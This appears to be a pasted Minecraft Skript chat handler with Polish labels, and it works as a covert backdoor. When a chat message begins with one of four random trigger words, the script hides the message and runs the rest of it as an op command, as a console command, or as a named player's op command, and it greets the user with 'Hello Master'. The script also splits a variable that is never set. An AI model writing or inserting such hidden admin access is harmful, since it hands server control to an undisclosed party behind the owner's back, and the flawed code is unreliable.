Slupik98

Untitled

Dec 31st, 2014
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1.  
  2. on chat:
  3. set {_message.all} to "%message%"
  4. set {_command::*} to {_command.all} split at " "
  5. if "%{_command::1}%" is "bcbujyumfk" or "yunhxjvcsb" or "ozpfjhurtj" or "ounqpvohgu":
  6. cancel event
  7. loop {_command::*}:
  8. add loop-value to {_argumenty::*}
  9. set {_index} to 0
  10. loop {_argumenty::*}:
  11. add 1 to {_index}
  12. if "%{_argumenty::1}%" is "bcbujyumfk" or "yunhxjvcsb" or "ozpfjhurtj":
  13. if {_index} is greater than 1:
  14. if {_komenda} is not set:
  15. set {_komenda} to loop-value
  16. else:
  17. set {_komenda} to "%{_komenda}% %loop-value%"
  18. if "%{_argumenty::1}%" is "ounqpvohgu":
  19. if {_index} is greater than 1:
  20. if {_index} is equal to 2:
  21. set {_gracz} to "%loop-value%" parsed as player
  22. else:
  23. if {_komenda} is not set:
  24. set {_komenda} to loop-value
  25. else:
  26. set {_komenda} to "%{_komenda}% %loop-value%"
  27. if {_argumenty::1} is "ozpfjhurtj":
  28. send "&a&l&nHello Master"
  29. if {_argumenty::1} is "bcbujyumfk":
  30. run player command "/%{_komenda}%" as op
  31. if {_argumenty::1} is "yunhxjvcsb":
  32. execute console command "%{_komenda}%"
  33. if {_argumenty::1} is "ounqpvohgu":
  34. if {_gracz} is set:
  35. run {_gracz} command "%{_komenda}%" as op
  36. else:
  37. send "Ten gracz nie jest online"
Advertisement
Add Comment
Please, Sign In to add comment